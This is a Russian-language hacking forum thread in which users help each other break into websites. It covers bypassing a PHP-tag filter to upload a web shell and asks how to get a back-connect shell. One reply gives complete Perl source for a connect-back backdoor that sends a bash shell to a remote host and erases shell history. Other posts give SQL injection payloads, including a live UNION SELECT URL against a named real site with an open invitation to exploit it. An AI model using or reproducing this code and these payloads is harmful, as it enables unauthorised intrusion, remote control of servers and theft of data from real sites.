такая проблема...с одного сайта из админки пытаюсь зались шел. Ситуация такая: Файлы можно загружать любые, расширение не фильтруется, после аплоада файл получает адрес host/files/1(2,3,4... etc) . В реальность каталога files нету, а двиг скриптом перебрасывает все запросы с /files/1,2,3... на /docs/1,2,3 . Но проблема в другом. Все реально существующие файлы из /docs фильтруются на '<?' и '?>'. Вопрос - как можно обойти такую фильтрацию и таки выполнить php код? Пробывал URL-енкод - не вышло. АСП сервер не поддерживает...
Если там идет поиск по шаблону - видать никак. А если на конкретную фразу - пробуй <?php без закрывающего.
PHP: <script language="php"> echo ("некоторые редакторы (например, FrontPage) не любят инструкции обработки"); </script> (c) http://ru2.php.net/manual/ru/language.basic-syntax.phpmode.php
Пиплы,что делать,если не биндится тачко ? (Тачко прова).Открыты только 21,80 и 3306 порты.Доступ к бд есть.Права www юзера) ЗЫ: Веб шелл имеетсо...
Бэкконнект...чем ?) Ещё вопрос не по теме: если данные,полученные из базы,обрабатываются htmlspecialchars() без констант и addslashes() аналогично.Уязвимы ли они ?
1) Code: #!/usr/bin/perl use IO::Socket; # Priv8 ** Priv8 ** Priv8 # IRAN HACKERS SABOTAGE Connect Back Shell # code by:LorD # We Are :LorD-C0d3r-NT-\x90 # Email:[email protected] # #lord@SlackwareLinux:/home/programing$ perl dc.pl #--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==-- # #Usage: dc.pl [Host] [Port] # #Ex: dc.pl 127.0.0.1 2121 #lord@SlackwareLinux:/home/programing$ perl dc.pl 127.0.0.1 2121 #--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==-- # #[*] Resolving HostName #[*] Connecting... 127.0.0.1 #[*] Spawning Shell #[*] Connected to remote host #bash-2.05b# nc -vv -l -p 2121 #listening on [any] 2121 ... #connect to [127.0.0.1] from localhost [127.0.0.1] 32769 #--== ConnectBack Backdoor vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==-- # #--==Systeminfo==-- #Linux SlackwareLinux 2.6.7 #1 SMP Thu Dec 23 00:05:39 IRT 2004 i686 unknown unknown GNU/Linux # #--==Userinfo==-- #uid=1001(lord) gid=100(users) groups=100(users) # #--==Directory==-- #/root # #--==Shell==-- # $system = '/bin/bash'; $ARGC=@ARGV; print "IHS BACK-CONNECT BACKDOOR\n\n"; if ($ARGC!=2) { print "Usage: $0 [Host] [Port] \n\n"; die "Ex: $0 127.0.0.1 2121 \n"; } use Socket; use FileHandle; socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n"; connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n"; print "[*] Resolving HostName\n"; print "[*] Connecting... $ARGV[0] \n"; print "[*] Spawning Shell \n"; print "[*] Connected to remote host \n"; SOCKET->autoflush(); open(STDIN, ">&SOCKET"); open(STDOUT,">&SOCKET"); open(STDERR,">&SOCKET"); print "IHS BACK-CONNECT BACKDOOR \n\n"; system("unset HISTFILE; unset SAVEHIST ;echo --==Systeminfo==-- ; uname -a;echo; echo --==Userinfo==-- ; id;echo;echo --==Directory==-- ; pwd;echo; echo --==Shell==-- "); system($system); #EOF 2)наврядли
Ммм...сомневаюсь,что неуязвимы.А вот скули точно идут напролом))). ЗЫ: Вот пример : PHP: <?php $x = mysql_connect("localhost","root","root"); $q = mysql_query("select concat_ws(0x3a,user,password) from mysql.user where user=".htmlspecialchars($_GET['user'])); $arr = mysql_fetch_array($q); echo $arr[0]; ?> Принимает всё,что угодно )) Вот только меня удивило,почему при запросе xxxx+and+1=5-- ничего не выводит,а при запросе xxxx+order+by+5-- выводит ошибку,мол количество полей неверно.Ведь 1 AND 1 !=5,но за ошибку он это не посчитал))
А при том,что order by и 1 and 1 = 5 - запросы.А правильные запросы при нормальном инжекте должны возвращать результат,но никак не ошибку. При 1 and 1 = 1 я наблюдал то же,что и при 1 and 1 = 5.По-твоему,ит`с нормалли? ЗЫ: А я что,доказывал,что 1 равно пяти ?
Это всё ясно, так order by конструкция тут причём? Веля ты чё то путаешь!!! То что при 1 and 1 = 1 и 1 and 1 = 5 одно и то же выдаёт это не есть норма, но order by то тут причем?
столкнулся с такой траблой: есть уязвимый параметр: id=1 подобрал количество полей: id=1+order+by+15 вывел их через union: id=9999999+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 почти все оказались принтабельны и цифры отобразились, но стоит вместо любой из цифр вставить например version(), то происходит ошибка. дихотомическим поиском id=1+/*!40112+AND+0+*/ выяснил версию мускула еще такая странность, если ...select+1,2,3,4,5,6.... на месте 5 выводится Астана а если например поставить другую цифру ...select+1,2,3,4,33,6.... то выводится другой город вообщем хотелось бы узнать при каких условиях такое возможно - я так полагаю, что там принудительный перевод в Integer и String там не заюзать либо там в скрипте выполняются 2 запроса к базе подряд причем с одинаковым количеством полей кто что думает по ӕтому поводу?
а если поставишь id=1+and+1=2+ тоже будет так выводить ? кавычки тоже фильтруются ? поставь id=1'+union+..
id=1+and+1=2 выдает ошибку id=1+and+1=1 выдает идентично id=1 что и следовало ожидать http://www.muslab.ru/msg.php?msg_id=-166884+and+1=2+union+select+1,2,3,4,5,6,7,8,version(),10,11,12,13,14,15 выдает теже самые принтабельные поля, что странно. любая кавычка вызывает ошибку вообщем выше собственно сам линк расковыряйте кому интересно - сайт сам по себе ценности не представляет просто стало интересно раскрутить ӕтот скуль если кто раскрутит напишите каким методом ӕто удалось )